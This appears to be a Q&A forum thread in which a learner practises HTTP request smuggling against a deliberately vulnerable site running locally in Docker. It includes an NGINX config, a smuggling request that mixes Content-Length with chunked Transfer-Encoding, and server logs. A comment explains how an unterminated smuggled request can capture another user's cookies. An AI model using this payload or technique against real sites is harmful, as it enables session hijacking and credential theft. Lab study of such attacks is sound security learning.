I'm learning about HTTP request smuggling and for this i'm trying to "break" into a broken site that is running under docker. The architecture of the site is Cache -> NGINX -> site. The Cache layer parses the Content-Length parameter manually.

This is the NGINX config:

user  nginx;
worker_processes  1;

error_log  /var/log/nginx/error.log debug;
pid        /var/run/nginx.pid;

events {
    worker_connections  1024;
    accept_mutex off;

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;

    keepalive_timeout  65;

    server {
        listen 80 default_server;
        keepalive_timeout 60;

        location / {
            proxy_pass http://blog:8002;


This request gives me a 200 OK:

GET /post/15adb947-81e2-4343-b200-8336fec86129/cf6bbd90-dbd0-4a68-af6a-e3f21db48b47 HTTP/1.1
Host: localhost:8085
Foo: X

But this request (which contains the above request smuggled):

POST /login HTTP/1.1
Host: localhost:8085
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 161
Transfer-Encoding: chunked


GET /post/15adb947-81e2-4343-b200-8336fec86129/cf6bbd90-dbd0-4a68-af6a-e3f21db48b47 HTTP/1.1
Host: localhost:8085
Foo: X(no line breaks here)

prints the following in Docker:

2023-07-26 00:12:28 nginx  | 2023/07/26 07:12:28 [info] 22#22: *94 client prematurely closed connection while reading client request headers, client:, server: , request: "GET /post/15adb947-81e2-4343-b200-8336fec86129/cf6bbd90-dbd0-4a68-af6a-e3f21db48b47 HTTP/1.1", host: "localhost:8085"
2023-07-26 00:12:28 nginx  | - - [26/Jul/2023:07:12:28 +0000] "GET /post/15adb947-81e2-4343-b200-8336fec86129/cf6bbd90-dbd0-4a68-af6a-e3f21db48b47 HTTP/1.1" 400 0 "-" "-" "-"

From what i've been reading, NGINX prints 400 because the client closed the connection and so it couldn't send the response back. But I'm sending the keep-alive value, so what gives?

  • 1
    "Foo: X(no line breaks here)" - since you have no line breaks the HTTP request is not finished. If this is all you send the client will time out after waiting a while for the request header to be completed - resulting in the error you see. Jul 26, 2023 at 7:29
  • @SteffenUllrich you are right! If I append another request at the end of Foo: X, it works :D Jul 26, 2023 at 7:30
  • @MariaInesParnisari the goal of the 'unfinished line' technique in smugling is to have the request finished by another user, like visting the website with an admin account in the same time. Si that an admin user request, containing credentials (like a cookie) would finish the line and add the credentials in this unterminated request.
    – regilero
    Jan 15 at 10:17


You must log in to answer this question.

Browse other questions tagged .